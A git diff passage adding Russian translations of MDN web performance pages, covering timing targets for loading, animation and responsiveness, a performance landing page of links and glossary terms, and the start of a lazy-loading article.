+  - Отзывчивость
+  - Производительность
+  - Тайминги
+translation_of: Web/Performance/How_long_is_too_long
+---
+<p>Не существует чётко установленного набора правил, который определяет медленную скорость загрузки страниц, но существуют особые руководства, которые рекомендуют определённые тайминги: загрузка контента - 1 секунда, ожидание - 50мс, анимация - 16,7мс, ответ на действия пользователя - от 50 до 200мс.</p>
+
+<h3 id="Загрузка_контента">Загрузка контента</h3>
+
+<p>Понятие "до секунды" часто считается оптимальным для загрузки. Но что это означает? Правило секунды должно рассматриваться как правило максимального времени, за которое пользователь поймет, что запрос был отправлен и будет загружен. Например, когда браузер принимает заголовок страницы или фоновый цвет и показывает её пользователю.</p>
+
+<p>Как правило, первый ресурс, который получает клиент - это HTML документ, который затем делает запрос на загрузку остальных ресурсов. Как было подмечено в <a href="/ru/docs/Web/Performance/Critical_rendering_path">статье о критическом пути рендеринга</a> - как только браузер получает данные, он сразу начинает их обработку, вместо того, чтобы дожидаться загрузки всех ресурсов.</p>
+
+<p>Да, одна секунда на загрузку - это хорошая цель. Но лишь немногие приложения достигают этой скорости. Всё зависит от ожиданий. Например, от приложения "Hello World", работающего в корпоративной (локальной) сети, будет ожидаться загрузка за милисекунды. Пользователь из северной Сибири, пользующийся Edge-мобильной сетью и устройством 5-летней давности, вероятно, посчитает даже 20-секундную загрузку быстрой. Однако, в среднем, если вы позволяете приложению не отвечать на запрос 3 или 4 секунды, вы, вероятно, потеряете пользователя. И, что ещё хуже, этот пользователь вряд ли вернётся к вам в ближайшее время.</p>
+
+<p>В деле оптимизации производительности рекомендуется обозначить амбициозные задачи по первичной загрузке контента. Например, 5 секунд для 3G сетей и 1.5 секунды для офисного Т1 канала. Для навигации внутри приложения цели должны быть ещё строже. К счастью, для оптимизации можно использовать Service Workers и кэширование.</p>
+
+<h3 id="Ожидание">Ожидание</h3>
+
+<p>Браузеры однопоточны (хотя существуют фоновые потоки, доступные с помощью web worker-ов). Это означает, что взаимодействие с пользователем, отрисовка и выполнение скриптов выполняются в одном потоке. Если поток занят вычислением сложной JavaScript логики, этот поток не сможет обрабатывать пользовательский ввод (например, нажатие кнопок). По этой причине важно разбивать выполнение скриптов на небольшие части, каждый из которых выполняется не больше 50мс. Это позволит потоку своевременно реагировать на пользовательский ввод.</p>
+
+<h3 id="Анимация">Анимация</h3>
+
+<p>Для того, чтобы прокрутка и другие анимации выглядели плавно, контент страницы должен обновляться с частотой 60 кадров в секунду (60 fps), то есть один кадр раз в 16.7мс. В эти 16.7мс. должны входить выполнение скриптов, компоновка и отрисовка. Делайте приложение таким, чтобы приложение могло использовать 6мс на отрисовку контента, а в остальные 10мс могло заниматься оставшимися вычислениями. Любая другая частота кадров, особенно если она отрывистая и непостоянная, создает впечатление зависающего приложения.</p>
+
+<h3 id="Отзывчивость">Отзывчивость</h3>
+
+<p>Когда пользователь взаимодействует с контентом - очень важно давать обратную связь пользователю. Время реакции не должно составлять больше 100мс, а лучше - 50мс. 50мс ощущаются пользователем как "мгновенно". Реакция на пользовательское взаимодействие должно чаще чувствоваться мгновенным (например, наведение курсора на кнопку). Но это не означает, что реакция должна быть одномоментной. В то время, как задержка в 100мс может вызвать чувство бессвязности действий пользователя и реакции системы, плавный переход между состояниями за время в 100-200мс позволит пользователю заметить, что взаимодействие началось и обрабатывается. Если ответ на действие пользователя занимает больше 100мс, предоставьте некоторую реакцию, которая скажет пользователю, что взаимодействие уже случилось и обрабатывается.</p>
diff --git a/files/ru/web/performance/index.html b/files/ru/web/performance/index.html
new file mode 100644
index 0000000000..51b68b881a
--- /dev/null
+++ b/files/ru/web/performance/index.html
@@ -0,0 +1,291 @@
+---
+title: Web Performance
+slug: Web/Performance
+tags:
+  - API
+  - App
+  - App Performance
+  - HTML
+  - JavaScript
+  - Landing
+  - Mobile
+  - Mobile Performance
+  - NeedsTranslation
+  - Performance
+  - Performance Budget
+  - Start-Up Performance
+  - TopicStub
+  - Web
+  - Web Performance
+translation_of: Web/Performance
+---
+<p>Производительность в web - это объективные измерения и пользовательские ощущения, связанные с загрузкой и работой приложения. Производительность - это о том, как долго сайт грузится, становится интерактивным и отзывчивым, о том, как плавно происходит взаимодействие с контентом. Плавный ли скролл страницы? Все ли кнопки кликабельны? Всплывающие окна загружаются и показываются быстро? А анимируются? Хорошая производительность требует учета всех аспектов: как объективных, например, фактическое время загрузки страницы или частота смены кадров; так и субъективных - в буквальном смысле "как пользователь воспринимает систему".</p>
+
+<p>Чем дольше загружается ваше приложение, тем больше пользователей решаются избавиться от него. Очень важно уменьшать время загрузки приложения, а так же промежутка времени, за которое оно становится интерактивным. Но в то же время, важно добавлять в приложение новые возможности, которые уменьшают время отклика и делают приложение интерактивным за счет неочевидных хитростей, например, за счет асинхронной загрузки данных, которые не понадобятся пользователю "здесь и сейчас". </p>
+
+<p>Существуют инструменты измерения производительности, API и лучшие практики, которые помогут нам измерять и улучшать производительноть. Мы постараемся раскрыть их в следующей секции:</p>
+
+<h2 id="Ключевые_статьи_о_производительности">Ключевые статьи о производительности</h2>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<h2 id="Beginners_tutorials">Beginner's tutorials</h2>
+
+<p>The MDN <a href="/en-US/docs/Learn/Performance">Web Performance Learning Area</a> contains modern, up-to-date tutorials covering Performance essentials. Start here if you are a newcomer to performance:</p>
+
+<dl>
+ <dt></dt>
+ <dt><a href="/en-US/docs/Learn/Performance/web_performance_overview">Web performance: brief overview</a></dt>
+ <dd>Overview of the web performance learning path. Start your journey here.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/What_is_web_performance">What is web performance?</a></dt>
+ <dd>This article starts the module off with a good look at what performance actually is — this includes the tools, metrics, APIs, networks, and groups of people we need to consider when thinking about performance, and how we can make performance part of our web development workflow.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Perceived_performance">How do users perceive performance?</a></dt>
+ <dd>
+ <p>More important than how fast your website is in milliseconds, is how fast your users perceive your site to be. These perceptions are impacted by actual p<span>age load time, idling, responsiveness to user interaction, and the smoothness of scrolling and other animations. In this article, we discuss the various loading metrics, animation, and responsiveness metrics, along with best practices to improve user perception, if not the actual timings.</span></p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Web_Performance_Basics">Web performance basics</a></dt>
+ <dd>In addition to the front end components of HTML, CSS, JavaScript, and media files, there are features that can make applications slower and features that can make applications subjectively and objectively faster. There are many APIs, developer tools, best practices, and bad practices relating to web performance. Here we'll introduce many of these features ad the basic level and provide links to deeper dives to improve performance for each topic.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/HTML">HTML performance features</a></dt>
+ <dd>Some attributes and the source order of your mark-up can impact the performance or your website. By minimizing the number of DOM nodes, making sure the best order and attributes are used for including content such as styles, scripts, media, and third-party scripts, you can drastically improve the user experience. This article looks in detail at how HTML can be used to ensure maximum performance.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Multimedia">Multimedia: images and video</a></dt>
+ <dd>The lowest hanging fruit of web performance is often media optimization. Serving different media files based on each user agent's capability, size, and pixel density is possible. Additional tips like removing audio tracks from background videos can improve performance even further. In this article we discuss the impact video, audio, and image content has on performance, and the methods to ensure that impact is as minimal as possible.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/CSS">CSS performance features</a></dt>
+ <dd>CSS may be a less important optimization focus for improved performance, but there are some CSS features that impact performance more than others. In this article we look at some CSS properties that impact performance and suggested ways of handling styles to ensure performance is not negatively impacted.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a></dt>
+ <dd>JavaScript, when used properly, can allow for interactive and immersive web experiences — or it can significantly harm download time, render time, in-app performance, battery life, and user experience. This article outlines some JavaScript best practices that should be considered to ensure even complex content is as performant as possible.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Mobile">Mobile performance</a></dt>
+ <dd>With web access on mobile devices being so popular, and all mobile platforms having fully-fledged web browsers, but possibly limited bandwidth, CPU and battery life, it is important to consider the performance of your web content on these platforms. This article looks at mobile-specific performance considerations.</dd>
+</dl>
+
+<dl>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">Using Performance APIs</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Performance_API/Using_the_Performance_API">Performance API</a></dt>
+ <dd>This guide describes how to use the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance" title="The Performance interface provides access to performance-related information for the current page. It's part of the High Resolution Time API, but is enhanced by the Performance Timeline API, the Navigation Timing API, the User Timing API, and the Resource Timing API."><code>Performance</code></a> interfaces that are defined in the <a class="external external-icon" href="https://w3c.github.io/hr-time/" rel="noopener">High-Resolution Time</a> standard.</dd>
+ <dt><a href="/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API">Resource Timing API</a></dt>
+ <dd><a href="/en-US/docs/Web/API/Resource_Timing_API">Resource loading and timing</a> the loading of those resources, including managing the resource buffer and coping with CORS</dd>
+ <dt><a href="/en-US/docs/Web/API/Performance_Timeline/Using_Performance_Timeline">The performance timeline</a></dt>
+ <dd>The <a href="/en-US/docs/Web/API/Performance_Timeline">Performance Timeline</a> standard defines extensions to the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance" title="The Performance interface provides access to performance-related information for the current page. It's part of the High Resolution Time API, but is enhanced by the Performance Timeline API, the Navigation Timing API, the User Timing API, and the Resource Timing API."><code>Performance</code></a> interface to support client-side latency measurements within applications. Together, these interfaces can be used to help identify an application's performance bottlenecks.</dd>
+ <dt><a href="/en-US/docs/Web/API/User_Timing_API/Using_the_User_Timing_API">User Timing API</a></dt>
+ <dd>Create application specific timestamps using the <a href="/en-US/docs/Web/API/User_Timing_API">user timing API</a>'s "mark" and "measure" entry types - that are part of the browser's performance timeline.</dd>
+ <dt><a href="/en-US/docs/Web/API/Frame_Timing_API/Using_the_Frame_Timing_API">Frame Timing API</a></dt>
+ <dd>The <code><a href="/en-US/docs/Web/API/PerformanceFrameTiming">PerformanceFrameTiming</a></code> interface provides <em>frame</em> timing data about the browser's event loop.</dd>
+ <dt><a href="/en-US/docs/Web/API/Beacon_API/Using_the_Beacon_API">Beacon API</a></dt>
+ <dd><small>The <a href="/en-US/docs/Web/API/Beacon_API">Beacon</a> interface schedules an asynchronous and non-blocking request to a web server.</small></dd>
+ <dt><a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Intersection Observer API</a></dt>
+ <dd>Learn to time element visibility with the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a> and be asynchronously notified when elements of interest becomes visible.</dd>
+</dl>
+
+<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">Other documentation</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance">Developer Tools Performance Features</a></dt>
+ <dd>This section provides information on how to use and understand the performance features in your developer tools, including <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>, <a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a>, and <a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Charts</a>.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Performance/Profiling_with_the_Built-in_Profiler">Profiling with the built-in profiler</a></dt>
+ <dd>Learn how to profile app performance with Firefox's built-in profiler.</dd>
+</dl>
+</div>
+</div>
+
+<h2 id="Glossary_Terms">Glossary Terms</h2>
+
+<div class="index">
+<ul class="index">
+ <li>{{glossary('Beacon')}}</li>
+ <li>{{glossary('Brotli compression')}}</li>
+ <li>{{glossary('Client hints')}}</li>
+ <li>{{glossary('Code splitting')}}</li>
+ <li>{{glossary('CSSOM')}}</li>
+ <li>{{glossary('Domain sharding')}}</li>
+ <li>{{glossary('Effective connection type')}}</li>
+ <li>{{glossary('First contentful paint')}}</li>
+ <li>{{glossary('First CPU idle')}}</li>
+ <li>{{glossary('First input delay')}}</li>
+ <li>{{glossary('First interactive')}}</li>
+ <li>{{glossary('First meaningful paint')}}</li>
+ <li>{{glossary('First paint')}}</li>
+ <li>{{glossary('HTTP')}}</li>
+ <li>{{glossary('HTTP_2', 'HTTP/2')}}</li>
+ <li>{{glossary('Jank')}}</li>
+ <li>{{glossary('Latency')}}</li>
+ <li>{{glossary('Lazy load')}}</li>
+ <li>{{glossary('Long task')}}</li>
+ <li>{{glossary('Lossless compression')}}</li>
+ <li>{{glossary('Lossy compression')}}</li>
+ <li>{{glossary('Main thread')}}</li>
+ <li>{{glossary('Minification')}}</li>
+ <li>{{glossary('Network throttling')}}</li>
+ <li>{{glossary('Packet')}}</li>
+ <li>{{glossary('Page load time')}}</li>
+ <li>{{glossary('Page prediction')}}</li>
+ <li>{{glossary('Parse')}}</li>
+ <li>{{glossary('Perceived performance')}}</li>
+ <li>{{glossary('Prefetch')}}</li>
+ <li>{{glossary('Prerender')}}</li>
+ <li>{{glossary('QUIC')}}</li>
+ <li>{{glossary('RAIL')}}</li>
+ <li>{{glossary('Real User Monitoring')}}</li>
+ <li>{{glossary('Resource Timing')}}</li>
+ <li>{{glossary('Round Trip Time (RTT)')}}</li>
+ <li>{{glossary('Server Timing')}}</li>
+ <li>{{glossary('Speculative parsing')}}</li>
+ <li>{{glossary('Speed index')}}</li>
+ <li>{{glossary('SSL')}}</li>
+ <li>{{glossary('Synthetic monitoring')}}</li>
+ <li>{{glossary('TCP handshake')}}</li>
+ <li>{{glossary('TCP slow start')}}</li>
+ <li>{{glossary('Time to first byte')}}</li>
+ <li>{{glossary('Time to interactive')}}</li>
+ <li>{{glossary('TLS')}}</li>
+ <li>{{glossary('TCP', 'Transmission Control Protocol (TCP)')}}</li>
+ <li>{{glossary('Tree shaking')}}</li>
+ <li>{{glossary('Web performance')}}</li>
+</ul>
+</div>
+
+<h2 id="Documents_yet_to_be_written">Documents yet to be written</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a></dt>
+ <dd>JavaScript, when used properly, can allow for interactive and immersive web experiences ... or it can significantly harm download time, render time, in app performance, battery life, and user experience. <span class="veryhardreadability"><span><span>This article outlines some JavaScript best practices that can ensure even complex content's performance is the highest possible.</span></span></span></dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Mobile">Mobile performance</a></dt>
+ <dd>With web access on mobile devices being so popular, and all mobile platforms having fully-fledged web browsers, but possibly limited bandwidth, CPU, and battery life, it is important to consider the performance of your web content on these platforms. This article also looks at mobile-specific performance considerations.</dd>
+ <dt>Web font performance</dt>
+ <dd>An often overlooked aspect of performance landscape are web fonts. Web fonts are more prominent in web design than ever, yet many developers simply embed them from a third party service and think nothing of it. In this article, we'll covers methods for getting your font files as small as possible with efficient file formats and sub setting. From there, we'll go on to talk about how browsers text, and how you can use CSS and JavaScript features to ensure your fonts render quickly, and with minimal disruption to the user experience.</dd>
+ <dt>Performance bottlenecks</dt>
+ <dd></dd>
+ <dt>Understanding bandwidth</dt>
+ <dd>
+ <div>
+ <div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span><span>Bandwidth is the amount of data measured in Megabits(Mb) or Kilobits(Kb) that one can send per second. </span></span><span class="veryhardreadability"><span><span>This article explains the role of bandwidth in media-rich internet applications, how you can measure it, and how you can optimize applications to make the best use of available bandwidth</span></span></span><span><span>.</span></span></div>
+ </div>
+ </dd>
+ <dd></dd>
+ <dt>The role of TLS in performance</dt>
+ <dd>
+ <p>TLS—or HTTPS as we tend to call it—is crucial in creating secure and safe user experiences. While hardware has reduced the negative impacts TLS has had on server performance, it still represents a substantial slice of the time we spend waiting for browsers to connect to servers. This article explains the TLS handshake process, and offers some tips for reducing this time, such as OCSP stapling, HSTS preload headers, and the potential role of resource hints in masking TLS latency for third parties.</p>
+ </dd>
+ <dt>Reading performance charts</dt>
+ <dd>Developer tools provide information on performance, memory, and network requests. Knowing how to read <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Waterfall">waterfall</a> charts, <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Call_Tree">call trees</a>, traces, <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Flame_Chart">flame charts</a> , and <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Allocations">allocations</a> in your browser developer tools will help you understand waterfall and flame charts in other performance tools.</dd>
+ <dt>Alternative media formats</dt>
+ <dd>When it comes to images and videos, there are more formats than you're likely aware of. Some of these formats can take your highly optimized media-rich pages even further by offering additional reductions in file size. In this guide we'll discuss some alternative media formats, how to use them responsibly so that non-supporting browsers don't get left out in the cold, and some advanced guidance on transcoding your existing assets to them.</dd>
+ <dt>Analyzing JavaScript bundles</dt>
+ <dd>No doubt, JavaScript is a big part of modern web development. While you should always strive to reduce the amount of JavaScript you use in your applications, it can be difficult to know where to start. <span class="veryhardreadability"><span><span>In this guide, we'll show you how to analyze your application's script bundles, so you know </span></span><em><span>what</span></em><span><span> you're using, as well how to detect if your app contains duplicated scripts between bundles</span></span></span><span><span>.</span></span></dd>
+ <dt><a href="/ru/docs/Web/Performance/Lazy_loading">Lazy loading</a></dt>
+ <dd>Lazy loading (ленивая загрузка) - это стратегия, направленная на определение ресурсов как неблокирующих (не критических) для того, чтобы отложить загрузку этих ресурсов на тот момент, когда они действительно необходимы.</dd>
+ <dt>Lazy-loading JavaScript with dynamic imports</dt>
+ <dd>When developers hear the term "lazy loading", they immediately think of below-the-fold imagery that loads when it scrolls into the viewport. But did you know you can lazy load JavaScript as well? In this guide we'll talk about the dynamic import() statement, which is a feature in modern browsers that loads a JavaScript module on demand. Of course, since this feature isn't available everywhere, we'll also show you how you can configure your tooling to use this feature in a widely compatible fashion.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Controlling_resource_delivery_with_resource_hints">Controlling resource delivery with resource hints</a></dt>
+ <dd>Browsers often know better than we do when it comes to resource prioritization and delivery however they're far from clairyovant. Native browser features enable us to hint to the browser when it should connect to another server, or preload a resource before the browser knows it ever needs it. When used judiciously, this can make fast experience seem even faster. In this article, we cover native browser features like rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload, and how to use them to your advantage.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Performance_budgets">Performance Budgets</a></dt>
+ <dd>Marketing, design, and sales needs, and developer experience, often ad bloat, third-party scripts, and other features that can slow down web performance. To help set priorities, it is helpful to set a performance budget: a set of restrictions to not exceed during the development phase. In this article, we'll discuss creating and sticking to a performance budget. </dd>
+ <dt><a href="/en-US/docs/Web/Performance/Checklist">Web performance checklist</a></dt>
+ <dd>A performance checklist of features to consider when developing applications with links to tutorials on how to implement each feature, include service workers, diagnosing performance problems, font loading best practices, client hints, creating performant animations, etc.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Mobile_performance_checklist">Mobile performance checklist</a></dt>
+ <dd>A concise checklist of performance considerations impacting mobile network users on hand-held, battery operated devices.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<p>HTML</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/picture">The <code>&lt;picture&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/video">The <code>&lt;video&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/source">The <code>&lt;source&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/img#Attributes">The <code>&lt;img&gt; srcset</code> attribute</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/HTML/Preloading_content">Preloading content with <code>rel="preload"</code></a> - <a href="https://w3c.github.io/preload/">(https://w3c.github.io/preload/ </a>)</li>
+</ul>
+
+<p>CSS</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/will-change">will-change</a></li>
+ <li>GPU v CPU</li>
+ <li>Measuring layout</li>
+ <li>Font-loading best practices</li>
+</ul>
+
+<p>JavaScript</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a></li>
+ <li><a href="/en-US/docs/Glossary/Garbage_collection">Garbage collection</a></li>
+ <li><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a></li>
+</ul>
+
+<p>APIs</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Performance_API">Performance API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigation_timing_API">Navigation Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Capabilities_API/Using_the_Media_Capabilities_API">Media Capabilities API</a></li>
+ <li><a href="/en-US/docs/Web/API/Network_Information_API">Network Information API</a></li>
+ <li><a href="/en-US/docs/Web/API/PerformanceNavigationTiming">PerformanceNavigationTiming</a></li>
+ <li><a href="/en-US/docs/Web/API/Battery_Status_API">Battery Status API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigator/deviceMemory">Navigator.deviceMemory</a></li>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer</a></li>
+ <li><a href="/en-US/docs/Web/API/User_Timing_API/Using_the_User_Timing_API">Using the User Timing AP</a>I</li>
+ <li><a href="/en-US/docs/Web/API/Long_Tasks_API">Long Tasks API</a></li>
+ <li><a href="/en-US/docs/Web/API/DOMHighResTimeStamp">High Resolution Timing API</a> (<a href="https://w3c.github.io/hr-time/">https://w3c.github.io/hr-time/)</a></li>
+ <li><a href="/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API">Resource Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Page_Visibility_API">Page Visibility</a></li>
+ <li><a href="/en-US/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a>
+  <ul>
+   <li style="margin-top: 0.25em;"><a href="/en-US/docs/Web/API/Window/requestIdleCallback">requestIdleCallback() </a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/API/Beacon_API/Using_the_Beacon_API">Beacon API</a></li>
+ <li>Resource Hints - <a href="/en-US/docs/Web/HTTP/Headers/X-DNS-Prefetch-Control">dns-prefetch</a>, preconnect, <a href="/en-US/docs/Web/HTTP/Link_prefetching_FAQ">prefetch</a>, and prerender</li>
+ <li><a href="/en-US/docs/Web/API/FetchEvent/navigationPreload">Fetchevent.navigationPreload</a></li>
+ <li><a href="/en-US/docs/Web/API/PerformanceServerTiming">Performance Server Timing API</a></li>
+</ul>
+
+<p>Headers</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">Content-encoding</a></li>
+ <li>HTTP/2</li>
+ <li><a href="/en-US/docs/Glossary/GZip_compression">gZip</a></li>
+ <li>Client Hints</li>
+</ul>
+
+<p>Tools</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Performance">Performance in Firefox Developer Tools</a></li>
+ <li>Flame charts</li>
+ <li>The Network panel</li>
+ <li>Waterfall charts</li>
+</ul>
+
+<p>Additional Metrics</p>
+
+<ul>
+ <li>Speed Index and Perceptual Speed Index</li>
+</ul>
+
+<p>Best Practices</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using Web Workers</a>
+  <ul>
+   <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/Apps/Progressive/Offline_Service_workers">PWA</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Caching">Caching</a></li>
+ <li>Content Delivery Networks (CDN)</li>
+</ul>
diff --git a/files/ru/web/performance/lazy_loading/index.html b/files/ru/web/performance/lazy_loading/index.html
new file mode 100644
index 0000000000..27c6de4f4d
--- /dev/null
+++ b/files/ru/web/performance/lazy_loading/index.html
@@ -0,0 +1,94 @@
+---
+title: Lazy loading
+slug: Web/Performance/Lazy_loading
+tags:
+  - Ленивая загрузка
+  - Производительность
+translation_of: Web/Performance/Lazy_loading
+---
+<p><span class="seoSummary"><strong>Lazy loading (ленивая загрузка) </strong><span>- это стратегия, направленная на определение ресурсов как неблокирующих (не критических) для того, чтобы отложить загрузку этих ресурсов на тот момент, когда они действительно необходимы. Так можно сократить длину <a href="/ru/docs/Web/Performance/Critical_rendering_path">критических этапов рендеринга</a>, что приводит к уменьшению времени загрузки приложения.</span></span></p>
+
+<p>Ленивая загрузка может происходить в разные моменты работы приложения, но, как правило, она запускается во время взаимодействия пользователя и системы, например, при скроллинге или навигации.</p>
+
+<h2 id="Обзор"><span>Обзор</span></h2>
+
+<p>Вместе с ростом web-приложений драматически вырос объем и размеры ресурсов, отправляемых клиентскому приложению. С 2011 по 2019 медианный рост размеров ресурсов вырос с <strong>~100KB</strong> до <strong>~400KB</strong> для настольных компьютеров и с <strong>~50KB</strong> до <strong>~350KB</strong> для мобильных. А размер изображений вырос вырос с <strong>~250KB</strong> до <strong>~900KB</strong> для настольных компьютеров и со <strong>~100KB</strong> до <strong>~850KB</strong> для мобильных.</p>
+
+<p>Очевидно, что такое повышение объёмов способствует увеличению длительности загрузки приложения. Один из способов её сократить - это отложить загрузку ресурсов, которые не являются критически важными для приложения. Например, вы посещаете приложение интернет-магазина, которое состоит из списка товаров и корзины. Очевидно, что вам не нужны изображения товаров, которые сейчас находится за пределами экрана; очевидно так же, что вам не нужно грузить все данные о содержимом корзины до тех пор, пока пользователь не перешёл к ней.</p>
+
+<h2 id="Стратегии">Стратегии</h2>
+
+<p>Ленивая загрузка (Lazy loading) может применяться к разным ресурсам и разными подходами.   </p>
+
+<h3 id="Общий_подход">    Общий подход</h3>
+
+<p id="Code_splitting"><strong>Разделение кода (code splitting)</strong><br>
+ JavaScript, CSS и HTML могут быть разделены на небольшие части, называемые чанками (chunks). При первоначальной загрузке приложения вы можете отправлять не цельное приложение, а только необходимые части, например, только каркас разметки. Данные для заполнения этого каркаса могут быть подгружены позже, например, с помощью AJAX. Есть два вида разделения кода:</p>
+
+<ul>
+ <li>Разделение по точкам входа (entrypoint)</li>
+ <li>Динамическое (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import">dynamic import()</a>)</li>
+</ul>
+
+<h3 id="JavaScript">    JavaScript</h3>
+
+<p><strong>Указание типа "module</strong>"<br>
+ Любой тег скрипта с <code>type="module"</code> рассматривается как <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules">JavaScript module</a>, а его загрузка откладывается по умолчанию.</p>
+
+<h3 id="CSS">    CSS</h3>
+
+<p>По умолчанию, CSS рассматривается как блокирующий рендер (<a href="https://developer.mozilla.org/en-US/docs/Web/Performance/Critical_rendering_path">render blocking</a>) ресурс, так что браузер не отобразит контент, пока объектная модель CSS (<a href="https://developer.mozilla.org/en-US/docs/Web/API/CSS_Object_Model">CSSOM</a>) не будет завершена. Поэтому начальный CSS файл должен небольшим, чтобы быть доставленым так быстро, как это возможно. Рекомендуется использовать media-queries для того, чтобы вместо одного монолитного css-файла грузить специализированные</p>
+
+<pre>&lt;link href="style.css"    rel="stylesheet" media="all"&gt;
+&lt;link href="portrait.css" rel="stylesheet" media="orientation:portrait"&gt;
+&lt;link href="print.css"    rel="stylesheet" media="print"&gt;
+</pre>
+
+<p>Также в целях ускорения CSS можно применять оптимизации (<a href="CSS performance optimization">CSS optimizations</a>).</p>
+
+<h3 id="Шрифты">    Шрифты</h3>
+
+<p>По умолчанию, загрузка шрифтов откладывается на тот момент, пока дерево рендера (render tree) не сформировано полностью. Это приводит к тому, что текст страницы может появиться не сразу.</p>
+
+<p>Вы можете переопределить такое поведение и загрузить шрифты заранее, используя <code>&lt;link rel="preload"&gt;</code>, <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/font-display">CSS font-display свойство</a> или <a href="https://developer.mozilla.org/en-US/docs/Web/API/CSS_Font_Loading_API">Font Loading API</a>.<br>
+ <br>
+ Смотри также: <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/link">Element Link</a></p>
+
+<h3 id="Изображения">    Изображения</h3>
+
+<p>Очень часто веб-страницы содержат множество изображений, загрузка которых заметно нагружает канал передачи данных и увеличивает длительность загрузки. Подавляющая часть этих изображений находятся за видимой областью экрана и не являются необходимым (<a href="https://developer.mozilla.org/en-US/docs/Web/Performance/Critical_rendering_path">non-critical</a>), а для взаимодействия с пользователем требуют действия (например, прокрутки до них).</p>
+
+<p><strong>Атрибут Loading </strong><br>
+ Атрибут {{htmlattrxref("loading", "img")}} элемента {{HTMLElement("img")}} (или  {{htmlattrxref("loading", "iframe")}} атрибут для {{HTMLElement("iframe")}}) могут быть использованы, чтобы указать браузеру на необходимость отложить загрузку изображений / iframe до тех пор, пока пользователь не доскроллит до них.</p>
+
+<pre>&lt;img src="image.jpg" loading="lazy" alt="..." /&gt;
+&lt;iframe src="video-player.html" loading="lazy"&gt;&lt;/iframe&gt;</pre>
+
+<p>Событие <code>load</code> запускается, когда все другие необходимые ресурсы были загружены. В это время, возможно (или даже наиболее вероятно), что изображения не будут загружены, даже если пользователь доскроллит до изображений и они будут в {{Glossary("visual viewport")}}.</p>
+
+<p>Вы можете определить, было ли загружено то или иное изображение, проверив Boolean значение {{domxref("HTMLImageElement.complete", "complete")}}.</p>
+
+<p><strong>Полифил</strong><br>
+ Для использованиях в браузерах, которые не поддерживают данную технологию, рекомендуется использовать полифилл: <a href="https://github.com/mfranzke/loading-attribute-polyfill" rel="noopener">loading-attribute-polyfill</a></p>
+
+<p><strong>Intersection Observer API</strong><br>
